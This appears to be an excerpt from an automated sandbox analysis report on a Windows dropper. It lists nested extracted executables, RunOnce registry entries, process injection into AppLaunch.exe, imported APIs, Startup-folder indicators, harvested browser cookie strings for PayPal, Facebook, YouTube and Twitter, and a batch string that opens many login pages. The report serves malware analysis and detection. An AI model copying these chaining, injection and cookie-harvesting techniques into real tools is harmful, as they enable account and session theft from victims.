[%TEMP%\IXP004.TMP\NH5Ot82.exe]- [targetUID: 00000000-00007408] "5og8kJ2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5og8kJ2.exe]- [targetUID: 00000000-00002608] "6Hy6xt9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Hy6xt9.exe]- [targetUID: 00000000-00003448] "7Us0xM51.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7Us0xM51.exe]- [targetUID: 00000000-00002480] "3xL71Vc.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\3xL71Vc.exe]- [targetUID: 00000000-00007408]57:T814,"file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "file.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "ZM6QY65.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "ZM6QY65.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "Wt6LG75.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "Wt6LG75.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "Yf6UX21.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "Yf6UX21.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "NS0zj81.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "NS0zj81.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"") "NH5Ot82.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "NH5Ot82.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP5"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP005.TMP\"")58:T12ad,"file.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ZM6QY65.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.exe" wrote 5120 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7Us0xM51.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ZM6QY65.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Wt6LG75.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "ZM6QY65.exe" wrote 7680 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6Hy6xt9.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Wt6LG75.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\Yf6UX21.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Wt6LG75.exe" wrote 29696 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5og8kJ2.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Yf6UX21.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\NS0zj81.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Yf6UX21.exe" wrote 26624 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\4Sq071Or.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "NS0zj81.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\NH5Ot82.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "NS0zj81.exe" wrote 23040 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3xL71Vc.exe": 4d5aff000100000004001000ffff00004001000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0a240000000000000000 ... "NH5Ot82.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1oh97OL0.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "NH5Ot82.exe" wrote 22016 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2NJ9351.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...59:T9fa,"file.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "ZM6QY65.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "ZM6QY65.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "Wt6LG75.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "Wt6LG75.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "Wt6LG75.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "Yf6UX21.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "Yf6UX21.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "Yf6UX21.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "Yf6UX21.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "NS0zj81.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "NS0zj81.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "NS0zj81.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "NS0zj81.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "NS0zj81.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" with delete access "NH5Ot82.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "NH5Ot82.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "NH5Ot82.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "NH5Ot82.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "NH5Ot82.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" with delete access "NH5Ot82.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" with delete access "NH5Ot82.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2NJ9351.exe" with delete access "NH5Ot82.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1oh97OL0.exe" with delete access5a:T560,RegCloseKey OpenProcessToken RegCreateKeyExA RegOpenKeyExA RegDeleteValueA GetTempFileNameA GetSystemInfo GetFileAttributesA LoadLibraryA GetVersionExA GetModuleFileNameA LoadLibraryExA CreateDirectoryA DeleteFileA UnhandledExceptionFilter GetProcAddress GetStartupInfoW GetTempPathA CreateThread LockResource FindFirstFileA WriteFile FindNextFileA GetSystemDirectoryA GetModuleHandleW GetDriveTypeA TerminateProcess CreateProcessA Sleep CreateFileA GetTickCount FindResourceA GetTempPathW OutputDebugStringW CreateThreadpoolWait GetModuleFileNameW IsDebuggerPresent LoadLibraryExW ExitThread GetModuleHandleExW CreateThreadpoolWork SleepConditionVariableCS GetFileSizeEx FindNextFileW FindFirstFileExW CreateFileW GetNativeSystemInfo GetCommandLineW SleepConditionVariableSRW GetCommandLineA GetTickCount64 CreateThreadpoolTimer LookupAccountNameA GetUserNameA GetDriveTypeW GetThreadContext WriteProcessMemory CopyFileA GetVersionExW ReadProcessMemory DeleteFileW GetComputerNameExW VirtualAllocEx GetModuleHandleA VirtualAlloc ShellExecuteA HttpSendRequestA InternetOpenUrlA InternetReadFile InternetCloseHandle InternetOpenA InternetConnectA InternetOpenW CreateDirectoryW GetTempFileNameW LoadLibraryW GetSystemDirectoryW FindResourceW CreateProcessW ShellExecuteExW GetWindowThreadProcessId5b:T964,"file.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\ZM6QY65.exe" (Handle: 660) "ZM6QY65.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\Wt6LG75.exe" (Handle: 648) "Wt6LG75.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\Yf6UX21.exe" (Handle: 660) "Yf6UX21.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\NS0zj81.exe" (Handle: 652) "NS0zj81.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\NH5Ot82.exe" (Handle: 656) "NS0zj81.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3xL71Vc.exe" (Handle: 656) "NH5Ot82.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1oh97OL0.exe" (Handle: 656) "NH5Ot82.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2NJ9351.exe" (Handle: 124) "1oh97OL0.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1oh97OL0.exe" wrote 512 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1oh97OL0.exe" wrote 9216 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "1oh97OL0.exe" wrote 1536 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 636) "2NJ9351.exe" wrote 4 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2NJ9351.exe" wrote 1024 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2NJ9351.exe" wrote 143872 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2NJ9351.exe" wrote 25088 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2NJ9351.exe" wrote 3584 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2NJ9351.exe" wrote 512 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640) "2NJ9351.exe" wrote 12800 bytes to a remote process "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" (Handle: 640)5c:Te8c,"AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")5d:T6ff,"AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\7-ZIP"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION")5e:T618,"C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003064.00000000.68079.00250000.00000002.mdmp 00000000-00003064.00000000.68079.00490000.00000004.mdmp 00000000-00003064.00000001.69998.00490000.00000004.mdmp 00000000-00003064.00000002.71916.004F0000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003064.00000000.68079.00250000.00000002.mdmp 00000000-00003064.00000000.68079.00490000.00000004.mdmp 00000000-00003064.00000001.69998.00490000.00000004.mdmp 00000000-00003064.00000002.71916.004F0000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003064.00000000.68079.00490000.00000004.mdmp 00000000-00003064.00000001.69998.00490000.00000004.mdmp 00000000-00003064.00000002.71916.004F0000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00003064.00000000.68079.00490000.00000004.mdmp 00000000-00003064.00000001.69998.00490000.00000004.mdmp 00000000-00003064.00000002.71916.004F0000.00000004.mdmp5f:Td19,Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "file") file/memory contains long string with (Indicator: "facebook.com"; File: "6248.bat") file/memory contains long string with (Indicator: "paypal"; File: "MZ6D16Q3.txt") file/memory contains long string with (Indicator: "paypal"; File: "PA2MPV30.txt") file/memory contains long string with (Indicator: "paypal"; File: "FZ1JS2DV.txt") file/memory contains long string with (Indicator: "paypal"; File: "TZHVI2LL.txt") file/memory contains long string with (Indicator: "paypal"; File: "ZEA4BHJX.txt") file/memory contains long string with (Indicator: "paypal"; File: "LOQAJHKK.txt") file/memory contains long string with (Indicator: "paypal"; File: "AXKN1AU9.txt") file/memory contains long string with (Indicator: "paypal"; File: "24O31VML.txt") file/memory contains long string with (Indicator: "twitter"; File: "S8VVWKXU.txt") file/memory contains long string with (Indicator: "youtube"; File: "TY1YZ5PG.txt") file/memory contains long string with (Indicator: "paypal"; File: "NPJBW8ZD.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_2_.css") file/memory contains long string with (Indicator: "twitter"; File: "1DZD72R4.txt") Found string "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071" (Indicator: "paypal"; File: "DVM0A88R.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217113340710431069851302552890231067086VISITOR_INFO1_LIVEGwxXdcHJzH4youtube.com/9217329049177631103244361271640231067086" (Indicator: "youtube"; File: "277DNAIJ.txt") Found string "0BStO4hnu9UmPIoQL..BlQFpz.nx.AAA.0.0.BlQFpz.AWV6uAsT7LQfacebook.com/9217335338585631085139229559548131067070c1pAZXgonl6HfKvvzoe2BLMyfacebook.com/921760287270431147501230492360531067070" (Indicator: "facebook.com"; File: "LBTGK6W5.txt") Found string "guest_id_marketingv1%3A169871626141646734twitter.com/1025335389504031213885385555941631067064guest_id_adsv1%3A169871626141646734twitter.com/1025335389504031213885194742219831067065" (Indicator: "twitter"; File: "WN0O1SNN.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217113340710431069851302552890231067086" (Indicator: "youtube"; File: "SJLM6LUJ.txt") Found string "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071" (Indicator: "paypal"; File: "K2YR7Q39.txt") Found string "0BStO4hnu9UmPIoQL..BlQFpz.nx.AAA.0.0.BlQFpz.AWV6uAsT7LQfacebook.com/9217335338585631085139229559548131067070" (Indicator: "facebook.com"; File: "U8EQ80UW.txt") Found string "CheckConnectionTempCookie49339472accounts.youtube.com/accounts/2147484752163817676831067092154705325031067092" (Indicator: "youtube"; File: "DO3SVAZS.txt") Found string "guest_id_marketingv1%3A169871626141646734twitter.com/1025335389504031213885385555941631067064" (Indicator: "twitter"; File: "9M0MYXE0.txt") Found string "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071" (Indicator: "paypal"; File: "WKV4LY5D.txt")60:T2e48,"@shift /0start "" https://accounts.google.comstart "" https://www.facebook.com/loginstart "" https://accounts.google.comstart "" https://store.steampowered.com/login/start "" https://twitter.com/i/flow/loginstart "" https://steamcommunity.com/openid/loginform/start "" https://www.epicgames.com/id/loginstart "" https://www.paypal.com/signinstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/1025154760384031140460139789576331067071cookie_checkpaypal.com/921743410867231801893140652076431067071d_idfdf5a0f2f2ae4bd7a4956aaedf2dda6c1698716282984paypal.com/921742410867231801893140669654531067071LANGen_US%3BUSpaypal.com/9217154870003231067108140674537331067071tsrceunifiedloginnodewebpaypal.com/9217164603315231067638140679420131067071vreXpYrS%3D1793410682%26vteXpYrS%3D1698718082%26vr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049%26vtyp%3Dnewpaypal.com/9217130521894431287311140684302931067071ts_cvr%3D8361704018b0a2d1fd393906f8c6204a%26vt%3D8361704018b0a2d1fd393906f8c62049paypal.com/1025130521894431287311140689185731067071" (Indicator: "paypal.com") 